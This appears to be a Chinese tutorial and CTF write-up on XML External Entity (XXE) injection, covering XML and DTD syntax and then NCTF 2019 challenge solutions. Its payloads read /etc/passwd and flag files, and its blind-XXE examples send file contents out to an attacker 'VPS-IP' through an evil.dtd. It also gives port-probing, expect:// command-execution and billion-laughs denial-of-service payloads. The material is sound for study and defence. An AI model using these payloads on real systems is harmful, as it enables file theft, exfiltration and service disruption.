1.概念
XXE(XML External Entity Injection) 全称为 XML 外部实体注入。这是一个注入漏洞,强调利用点是外部实体 ,将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维,如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。
2.语法
XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息 XML 允许创作者定义自己的标签和自己的文档结构
3.结构
1.XML 文档声明,在文档的第一行 2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方 3.XML 文档元素
4.介绍一下XML文档
<?xml version="1.0" encoding="utf-8" standalone="yes"?> <!--第一行是XML声明--> <!--这是XML处理指令的例子。处理指令以<?开始,以?>结束--> <!--在<?后的第一个单词是处理指令名,在本例中是xml--> <!--处理指令一定要顶格写,前面不能有任何空白--> <students> <GREETING><!--开始标记--> Hello World<!--元素内容--> </GREETING><!--结束标记--> <student gender="male" isHandsome="true"> <id>001</id> <name>zhangsan</name> <address>Beijing</address> <score>50</score> </student> <student gender="female"> <id>002</id> <name>lisi</name> <address>北京</address> <score/><!--为空的简写形式--> </student> </students>
注: 文档注释用包围,不允许嵌套,允许多行注释。 XML里面的元素严格区分大小写。 XML文档必须有且只有一个根元素。(根元素是一个完全包括文档中其他所有元素的元素。)
每一个XML文档都以一个XML声明开始,用以指明所用的XML的版本。
XML声明有version 、encoding和standalone特性。
version特性表明这个文档符合XML 1.0规范。
encoding 属性指定了编码格式,默认情况下是utf-8,这个属性要放在属性前面。
像standalone是XML文档的属性,位于等号左边的是特姓名,而其值位于等号的右边,并用双引号或单引号括起来。
自定义的元素也可以有一个或多个属性,其属性值使用单引号或者双引号括起来。
如果属性值中有双引号则使用单引号,反之亦然。
**属性名= "属性值",**比如gender="male"。
多个属性值之间用空格隔开(一个或多个空格都可以)。
在一个元素上,相同的属性只能出现一次。
属性值不能包含<, >, &。
实体叫ENTITY,实体的作用是避免重复输入。
在XML中,有5个预定义的实体引用
<!DOCTYPE 根元素 <!ENTITY 实体名 "实体内容"> ]> 引用已定义的实体: &实体名;
PI必须以一个叫做目标的标识符开头,这个标识符遵从如同元素和属性一样的规则,目标是指令所指向的应用的名称,指令是传递给应用程序的信息。
包含大量的<、>、&、或者"字符。CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是XML标记。
<![CDATA[ ...... ]]>
<?xml version="1.0" encoding="utf-8"?> <root> <![CDATA[ <hello> <world> 这里放任何内容都是合法的 ]]> <subRoot> </subRoot> </root>
PCDATA的意思是被解析的字符数据(parsed character data)。可以把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。但是,被解析的字符数据不应当包含任何& < >字符;需要使用& < >实体来分别替换它们。
//这一行是 XML 文档定义 <!DOCTYPE message [ <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)>
<!DOCTYPE message [ #这个就是定义了一个根元素message <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)> #这里就是为根元素message定义了4个子元素,receiver,sender,header,msg,然后这4个元素必须要出现而且要按照顺序
<!DOCTYPE 根元素[定义内容]> exp: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ELEMENT data (aaa,bbb,ccc)> <!ELEMENT aaa (#PCDATA)> <!ELEMENT bbb (#PCDATA)> <!ELEMENT ccc (#PCDATA)> ]>
<!DOCTYPE 根元素 SYSTEM "DTD文件路径"> exp:外部的DTD文档 <?xml version="1.0" encoding="UTF-8"?> <!ELEMENT data (aaa, bbb, ccc)> <!ELEMENT aaa (#PCDATA)> <!ELEMENT bbb (#PCDATA)> <!ELEMENT ccc (#PCDATA)>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data SYSTEM "data.dtd"> <data> <aaa>1<aaa> <bbb>2<bbb> <ccc>3<ccc> </data>
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]> <pre>exp: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data SYSTEM "data.dtd" [ <?xml version="1.0" encoding="UTF-8"?> <!ELEMENT data (aaa, bbb, ccc)> <!ELEMENT aaa (#PCDATA)> <!ELEMENT bbb (#PCDATA)> <!ELEMENT ccc (#PCDATA)> ]>
内部实体
<!ENTITY 实体名称 "实体的值"> 一个实体由三部分构成:`&`符号, 一个实体名称, 以及一个分号`(;)` exp: <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe "hello">]> <foo>&xxe;</foo> 这里定义的实体是xxe,实体的值是hello
外部实体
<!ENTITY 实体名称 SYSTEM "URL">
XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议
file:///path/to/file.ext http://url/file.ext php://filter/read=convert.base64-encode/resource=conf.php
参数实体
<!ENTITY %实体名称 "值"> <!ENTITY %实体名称 SYSTEM "URL"> exp: <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo> 外部evil.dtd的内容 <!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
读取任意文件
题目提示我们要看系统配置文件/etc/passwd
window.contentType = application/xml; function payload(data) { var xml = <?xml version="1.0" encoding="UTF-8"?>; xml += <data>; for(var pair of data.entries()) { var key = pair[0]; var value = pair[1]; xml += < + key + > + value + </ + key + >; } xml += </data>; return xml; }
这里POST了一个ID的变量,我这里猜测ID就是key(题目的DTD感觉缺失了一些东西)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd" ]> <data> <ID> 2&xxe; </ID> </data>
发现无回显,继续检查一下,发现我们这里的Content-Type为application/x-www-form-urlencoded,这就是问题所在
改为application/xml,发现成功得到flag
2.[NCTF 2019]Fake XML cookbook
function doLogin(){ var username = $("#username").val(); var password = $("#password").val(); if(username == "" || password == ""){ alert("Please enter the username and password!"); return; } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({ type: "POST", url: "doLogin.php", contentType: "application/xml;charset=utf-8", data: data, dataType: "xml", anysc: false, success: function (result) { var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue; var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue; if(code == "0"){ $(".msg").text(msg + " login fail!"); }else if(code == "1"){ $(".msg").text(msg + " login success!"); }else{ $(".msg").text("error:" + msg); } }, error: function (XMLHttpRequest,textStatus,errorThrown) { $(".msg").text(errorThrown + : + textStatus); }</pre> 这里给出了我们DTD,我们根据DTD进行构造payload即可 <pre xml:lang="xml"><?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ #根据给出的DTD,可知根元素是data <!ENTITY xxe SYSTEM "file:///etc/passwd"> #尝试读取系统配置文件 ]> <user> <username>2&xxe;</username> <password>11</password> </user>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user> <username>2&xxe;</username> <password>11</password> </user>
3.[NCTF 2019]True XML cookbook
跟上一道题的源码一样,尝试沿用上题的payload发现不能直接获取flag了,尝试利用XXE进行RCE,发现应该是php没有装有expect扩展,无法实现RCE
利用/proc/net/arp读取到内网的另一台服务器的IP地址172.18.0.1
尝试爆破端口,我爆破到10000多也没有什么信息,
直接访问发现不行,就利用BP爆破跑内网存活主机,跑出flag
无回显
也就是我们的blind xxe,一般没有echo,return这些函数,返回不了数值
(需要在自己的VPS上配置上http服务,可以从公网访问我们的dtd文件和xml文件)
<?php file_put_contents("test.txt", $_GET[file]) ; ?>
\<?php $xml=<<<EOF <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/test.txt"> <!ENTITY % remote SYSTEM "http://VPS-IP/test.xml"> %remote; %all; %send; ]> EOF; $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r($data) ; ?>
<!ENTITY % all "<!ENTITY % send SYSTEM http://vps-ip/test.php?file=%file;>">
当访问http://vps-ip/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。
exp: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %all; ]> <value>&send;</value>
然后在自己的VPS上创建一个evil.xml,内容为
<!ENTITY % all "<!ENTITY send SYSTEM http://localhost:88%file;>">
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)vps-ip.
exp: <?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./aaa.php"> # /etc/issue <!ENTITY % dtd SYSTEM "http://VPS-IP/evil.dtd"> %dtd; %send; ]>
evil.dtd的内容,内部的%号要进行实体编码成%。下面是具体的代码实现
<!ENTITY % all “<!ENTITY % send SYSTEM ‘http://VPS-IP/?%file;’>” > %all;
如果有报错的话直接查看VPS的报错信息能得到aaa.php的base64编码后的结果
没有的话可以查看VPS的日志信息,能看到经过base64编码后的数据
其实跟方案四差不多,但是可以利用监听VPS端口来获取信息
exp: <!ENTITY % dtd "<!ENTITY % xxe SYSTEM http://VPS-IP:3333/%file;> "> %dtd; %xxe;
exp: <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://VPS-IP/evil.dtd"> %aaa; ]> <root>66666</root>
python -m http.server 3333 #前提是自己的VPS需要配置好http服务
命令执行
在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除有幸运的情况咯,这里就搬一下大师傅的代码以供参考:
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
探测端口
exp: <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY contentSYSTEM "http://10.165.89.150:88">]> <name>&content;</name>
DDOS攻击
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
XML解析器尝试解析该文件时,由于DTD的定义指数级展开(即递归引用),举个例子,这里定义了一个lol的实体,实体还有“lol”的字符串,然后定义了一个lol2的实体,里面有10个"lol"的字符串,依次递推,一个lol3实体引用10个lol2实体,这样的话可以一直向服务器传输文件,也就是形成了DOS攻击,经过XML解析器解析后的内存占用会比其本身大的多。
0 留言